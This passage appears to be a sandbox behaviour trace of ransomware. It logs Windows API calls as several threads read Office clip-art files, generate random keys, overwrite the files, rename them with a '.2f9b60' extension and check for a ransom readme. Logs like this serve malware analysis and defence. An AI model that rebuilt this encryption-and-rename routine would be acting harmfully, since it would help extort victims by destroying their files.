RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0106.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0106.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0106.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20500130 [0106.786] wcscat (in: _Dest=0x20500130, _Source="d82a56eaea3d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d" [0106.786] wcscat (in: _Dest=0x20500130, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60" [0106.786] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60", NtPathName=0x2bf6fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279670 [0106.786] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2bf6fe30, FileInformation=0x20279670, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279670) returned 1 [0108.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291d20) returned 1 [0108.255] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x2bf6fdf8, FileInformation=0x2bf6fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bf6fdf8, FileInformation=0x2bf6fe08) returned 0x0 [0108.255] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2bf6fdf8, FileInformation=0x2bf6fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500130) returned 1 [0108.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5f60) returned 1 [0108.264] FlushFileBuffers (hFile=0x1574) returned 1 [0108.271] CloseHandle (hObject=0x1574) returned 1 [0108.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205004f0 [0108.272] wcscpy (in: _Dest=0x205004f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.272] wcscat (in: _Dest=0x205004f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004f0) returned 1 [0108.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ba40) returned 1 Thread: id = 695 os_tid = 0x11c0 [0096.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0107.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", dwFileAttributes=0x20) returned 1 [0108.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe1c [0108.018] GetFileSizeEx (in: hFile=0xe1c, lpFileSize=0x2b8bf780 | out: lpFileSize=0x2b8bf780*=6636) returned 1 [0108.019] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x19e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.019] ReadFile (in: hFile=0xe1c, lpBuffer=0x2b8bf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b8bf748, lpOverlapped=0x0 | out: lpBuffer=0x2b8bf700*, lpNumberOfBytesRead=0x2b8bf748*=0x4, lpOverlapped=0x0) returned 1 [0108.072] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0108.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0108.073] NtQuerySystemTime (in: CurrentTime=0x2b8bf640 | out: CurrentTime=0x2b8bf640*=132462177135598000) returned 0x0 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x4e65aec9 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x3cfa0251 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x7b122b41 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x43784257 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x43db4bab [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2ab60fbc [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x12d3612b [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x63d452ea [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2e2ce2c1 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x26afca90 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x78cb469b [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x45a5ab4 [0108.073] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x7a743444 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2012208c [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x125a8b72 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2e020a01 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x7ca63def [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2dd73141 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2d232abb [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x630a3cf6 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x6ac599f7 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x418dd62f [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x3ec2e23b [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0xf163eb9 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0xb6df334 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x49b84cb6 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x116c18bd [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x61456159 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x2f24c85a [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x7727d1e8 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x32a7eba5 [0108.074] RtlRandomEx (in: Seed=0x2b8bf630 | out: Seed=0x2b8bf630) returned 0x28810cd4 [0108.087] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x2b8bf630, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2b8bf630*=0x19ec, lpOverlapped=0x0) returned 1 [0108.096] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.096] WriteFile (in: hFile=0xe1c, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x19ec, lpNumberOfBytesWritten=0x2b8bf634, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2b8bf634*=0x19ec, lpOverlapped=0x0) returned 1 [0108.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0108.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0108.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0108.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860420 [0108.104] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.104] WriteFile (in: hFile=0xe1c, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b8bf750, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2b8bf750*=0x10a, lpOverlapped=0x0) returned 1 [0108.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0108.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0108.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0108.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0108.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860390) returned 1 [0108.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.107] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="fe") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="91") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a3") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="56") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="2d") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="1c") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="b7") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="90") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="08") returned 2 [0108.107] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="d2") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="c7") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d5") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="bd") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="49") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="2c") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="8f") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="9f") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ba") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="9f") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="6e") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="ac") returned 2 [0108.108] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="6a") returned 2 [0108.109] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="41") returned 2 [0108.109] RtlInitAnsiString (in: DestinationString=0x2b8bf7c8, SourceString="fe91a3562d1cb79008d2c7d5bd492c8f9f2bba9f6eac6a41" | out: DestinationString="fe91a3562d1cb79008d2c7d5bd492c8f9f2bba9f6eac6a41") [0108.109] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b8bf798, SourceString="fe91a3562d1cb79008d2c7d5bd492c8f9f2bba9f6eac6a41", AllocateDestinationString=1 | out: DestinationString="fe91a3562d1cb79008d2c7d5bd492c8f9f2bba9f6eac6a41") returned 0x0 [0108.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6270 [0108.109] wcscat (in: _Dest=0x20500590, _Source="fe91a3562d1c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c" [0108.109] wcscat (in: _Dest=0x20500590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60" [0108.109] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60", NtPathName=0x2b8bf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279eb0 [0108.109] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x2b8bf810, FileInformation=0x20279eb0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279eb0) returned 1 [0109.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027dd20) returned 1 [0109.885] NtQueryInformationFile (in: FileHandle=0xe1c, IoStatusBlock=0x2b8bf7d8, FileInformation=0x2b8bf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b8bf7d8, FileInformation=0x2b8bf7e8) returned 0x0 [0109.885] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x2b8bf7d8, FileInformation=0x2b8bf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500590) returned 1 [0109.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6270) returned 1 [0109.915] FlushFileBuffers (hFile=0xe1c) returned 1 [0109.920] CloseHandle (hObject=0xe1c) returned 1 [0109.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500590 [0109.926] wcscpy (in: _Dest=0x20500590, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.926] wcscat (in: _Dest=0x20500590, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500590) returned 1 [0109.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bad0) returned 1 Thread: id = 696 os_tid = 0x11c4 [0096.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0107.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", dwFileAttributes=0x20) returned 1 [0108.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1560 [0108.114] GetFileSizeEx (in: hFile=0x1560, lpFileSize=0x2bddfd60 | out: lpFileSize=0x2bddfd60*=4612) returned 1 [0108.114] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x1200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.114] ReadFile (in: hFile=0x1560, lpBuffer=0x2bddfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bddfd28, lpOverlapped=0x0 | out: lpBuffer=0x2bddfce0*, lpNumberOfBytesRead=0x2bddfd28*=0x4, lpOverlapped=0x0) returned 1 [0108.118] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.118] NtQuerySystemTime (in: CurrentTime=0x2bddfc20 | out: CurrentTime=0x2bddfc20*=132462177136066000) returned 0x0 [0108.118] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x58b8f520 [0108.118] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x12e542ba [0108.118] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x161b984f [0108.118] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x46664277 [0108.118] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x4fe841ab [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x70316e22 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x63d6747 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x38b13b26 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x61ab61b2 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x6f289f85 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x7cc742ba [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x77b60799 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x366bd609 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x153376f1 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x947b66a [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x36da3beb [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x674771a2 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x70ba5fd5 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x3bd0989f [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x7e8f681f [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x6b212161 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x4c5dac0c [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x3f72111c [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x3665848c [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x5b30dda8 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0xa2cd571 [0108.119] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x559d62a5 [0108.120] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x4d411b0e [0108.120] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x268dc3ed [0108.120] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x29709197 [0108.120] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x6433fac2 [0108.120] RtlRandomEx (in: Seed=0x2bddfc10 | out: Seed=0x2bddfc10) returned 0x245ed6ff [0108.135] ReadFile (in: hFile=0x1560, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x2bddfc10, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2bddfc10*=0x1204, lpOverlapped=0x0) returned 1 [0108.140] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.140] WriteFile (in: hFile=0x1560, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x2bddfc14, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2bddfc14*=0x1204, lpOverlapped=0x0) returned 1 [0108.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0108.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fc10 [0108.144] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.145] WriteFile (in: hFile=0x1560, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bddfd30, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2bddfd30*=0x10a, lpOverlapped=0x0) returned 1 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0108.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860060) returned 1 [0108.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.162] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="76") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="f8") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="53") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="a6") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="8f") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="f7") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="b8") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f640, 